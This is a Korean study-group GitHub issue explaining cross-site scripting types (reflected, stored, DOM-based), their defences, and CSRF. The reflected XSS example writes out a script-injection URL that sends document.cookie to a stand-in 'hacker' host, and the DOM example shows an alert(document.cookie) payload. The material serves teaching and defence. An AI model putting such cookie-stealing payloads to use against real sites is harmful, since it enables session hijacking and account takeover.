hongcheol / CS-study

cs지식을 정리하는 공간
MIT License
248 stars 30 forks source link

XSS #121

Open lksa4e opened 3 years ago

lksa4e commented 3 years ago

XSS

XSS (Cros-Site Scripting) 이란?

웹 해킹에서 대표적인 기술 중 하나인 XSS는 간단하면서 보편적인 해킹 방법입니다. 원리는 간단하지만 해당 스크립트가 갖는 공격성은 강력하므로 자주 활용되기 때문에 OWASP TOP10에도 포함되어 있습니다. 사이트 간 스크립팅이라는 의미로 다른 웹사이트와 정보를 교환하는 방식으로 작동합니다.

OWASP(The Open Web Application Security Project)는 오픈소스 웹 애플리케이션 보안 프로젝트이다. 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 애플리케이션의 취약점 (OWASP TOP 10)을 발표했다.

image

그림과 같이 블랙 해커는 웹 페이지를 통해 클라이언트(사용자)에게 악의적인 스크립트로 공격하여 원하는 정보를 취득하거나 직접적인 공격을 가할 수 있습니다다. 예를 들면 클라이언트의 쿠키를 탈취하여 클라이언트 계정으로 접속을 시도할 수 있고, 관리자가 당하는 경우 관리자 계정으로 접속하게 되어 더 큰일이 발생할 수도 있습니다.

XSS의 종류와 공격 방법

XSS의 종류는 크게 Reflected XSS, Persistent(Stored) XSS, DOM XSS로 나뉩니다.

Reflected XSS

image

XSS의 공격 종류 중 하나인 Reflected XSS는 기본적으로 URL을 통해 스크립트 공격을 진행합니다. Reflected XSS 공격은 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생합니다. 예를 들면 사용자에게 입력 받은 검색어를 그대로 보여주는 곳이나 사용자가 입력한 값을 에러 메세지에 포함하여 보여주는 곳에 악성스크립트가 삽입되면, 서버가 사용자의 입력 값을 포함해 응답해 줄 때 스크립트가 실행됩니다.

블랙 해커는 웹 페이지를 통해 클라이언트에게 악의적인 스크립트를 포함한 URL을 클라이언트에게 보냅니다. 예를 들면 이메일, 쪽지 등 어떠한 방법이라도 가능합니다. 해당 주소로 유도만 하면 되기 때문입니다. 이후 클라이언트가 해당 주소를 클릭하게 되면 악의적인 스크립트가 실행됩니다.

예를 들면, GET 방식으로 검색기능을 구현한 웹 애플리케이션에 XSS 취약점이 있음을 확인한 해커는 공격코드를 작성하였습니다. 그리고 블랙 해커는 해당 사이트 주소를 이용하여 특정 클라이언트에게 메일로 악성 스크립트를 포함하여 URL을 보냅니다.

http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

만약 클라이언트가 해당 URL을 보고 제대로 확인하지 않은 채 그냥 누르게 된다면, 클라이언트의 쿠키 값이 블랙 해커 서버 쪽으로 보내지게 되고 블랙 해커는 해당 쿠키 데이터를 이용하여 클라이언트의 계정으로 접속할 수 있게 됩니다.


Persistent(or Stored) XSS

image

XSS 공격 종류 중 하나인 Persistent XSS 는 말 그대로 지속적으로 피해를 입히는 XSS 공격입니다. 위의 그림을 보면, 해커는 웹 애플리케이션에서 XSS 취약점이 있는 곳을 파악하고, 악성스크립트를 삽입합니다. 삽입된 스크립트는 데이터베이스에 저장이 되고, 저장된 악성스크립트가 있는 게시글 등을 열람한 사용자들은 악성스크립트가 작동하면서 쿠키를 탈취당한다던가, 혹은 다른 사이트로 리다이렉션 되는 공격을 받게 됩니다.

데이터베이스에 저장이 되어 지속적으로 공격한다고 하여 Persistent XSS 라고 부르며, 데이터베이스에 저장이 되므로 Stored XSS 공격이라고 부르기도 합니다. 한번의 공격으로 악성스크립트를 삽입하여 수많은 피해를 입힐 수 있다는 점이 특징입니다.

Persistent XSS로 가장 많이 공격이 되는 곳은 게시판이며, 굳이 게시판이 아니더라도 사용자가 입력한 값이 데이터베이스에 저장이 되고, 저장된 값이 그대로 프론트엔드 단에 보여주는 곳에 공격이 성공할 가능성이 큽니다. XSS공격도 마찬가지로 사용자의 입력에 대한 검증이 없기 때문에 발생합니다.


DOM based XSS

image

DOM(Document Object Model)은 HTML 및 XML 문서에 접근하는 방법을 표준으로 정의하는 문서 객체 모델입니다. 즉, 구조화된 문서를 표현하는 방식으로 W3C의 공식 표준입니다.

DOM Based XSS(=type-0 XSS)는 피해자의 브라우저에서 DOM 환경을 수정하여 클라이언트 측 코드가 예상치 못한 방식으로 공격 구문이 실행되는 XSS(Cross Site Scripting) 공격입니다. 즉, 페이지 자체(HTTP 응답)는 변경되지 않지만, 페이지에 포함된 클라이언트 측 코드는 DOM환경에서 발생한 악의적인 변조로 인해 공격 구문이 실행됩니다. 일반적으로 DOM 기반 XSS 취약점이 있는 브라우저를 대상으로 진행됩니다.

익히 알고 있는 Stored XSS, Reflected XSS 취약점인 경우 서버 측 결함으로 인해 응답 페이지에 악성 스크립트 구문이 포함되어 브라우저로 전달되는 것이지만, DOM Based XSS 취약점인 경우 서버와 관계없이 브라우저에서 발생합니다.

DOM based XSS 공격 시나리오

  1. 아래와 같은 URL로 호출되는 페이지가 존재한다고 가정
    http://www.test.com/page.html?default=English
  2. Attacker에 의해 DOM Based XSS 공격 페이로드 전송
    http://www.test.com/page.html?default=<script>alert(document.cookie);</script>
  3. 피해자가 2번 링크를 클릭하면, 브라우저가 다음 요청을 전송
    /page.html?default=<script>alert(document.cookie);</script>
  4. 서버(www.test.com)에서 위 자바 스크립트 코드가 포함된 페이지로 응답/브라우저는 페이지에 대한 DOM 객체 생성
    http://www.test.com/page.html?default=<script>alert(document.cookie);</script>
  5. 브라우저에 의해 Attacker의 악성 스크립트 구문 실행
    alert(document.cookie);

즉, 서버에서 전송된 HTTP 응답 값에는 Attacker의 공격 구문이 포함되어 있지 않으며, DOM 객체 생성 시 클라이언트 측 스크립트에 포함되는 것입니다.

XSS 대응 방안

1. 입출력 값 검증

사용자가 입력한 값에 대한 검증과 사용자가 입력한 값을 그대로 출력할 때 검증이 필요 합니다. XSS Cheat Sheet 에 대한 필터 목록을 만들어 모든 Cheat Sheet에 대한 대응이 가능하도록 하여야 합니다.

2. XSS 방어 라이브러리 , 브라우저 확장앱 사용

XSS를 막아주는 Anti XSS 라이브러리를 여러 회사에서 제공하는데 이 라이브러리를 사용하면 손쉽게 XSS를 방어할 수 있습니다. XSS 라이브러리를 사용하는 것은 서버 단에서 개발자가 추가하는 것이고, 사용자들이 각자 본인의 브라우저에서 악의적인 스크립트가 실행되지 않도록 방어하는 것이 중요합니다. 방문하는 모든 사이트가 안전하다는 보장이 없기 때문에 브라우저 확장 앱 중 Anti XSS 를 해주는 애플리케이션을 설치하고 방어하여야 합니다.

3. 웹 방화벽 사용

웹 방화벽은 웹 공격에 특화되어있기 때문에 XSS 공격을 방어하기 위함만이 아니라 각종 Injection 공격을 효과적으로 방어할 수 있습니다.

CSRF (Cross-Site Request Foregery)

웹사이트 취약점 공격의 하나로 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격입니다.

XSS를 이용한 공격이 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면, 사이트간 요청 위조(CSRF)는 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것입니다.

일단 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출됩니다.

XSS vs CSRF


출처 : http://itnovice1.blogspot.com/2019/09/xss.html https://noirstar.tistory.com/266 https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=lstarrlodyl&logNo=221941738753 https://ddungkill.tistory.com/135 https://berr-my.tistory.com/entry/XSS-%EA%B3%B5%EA%B2%A9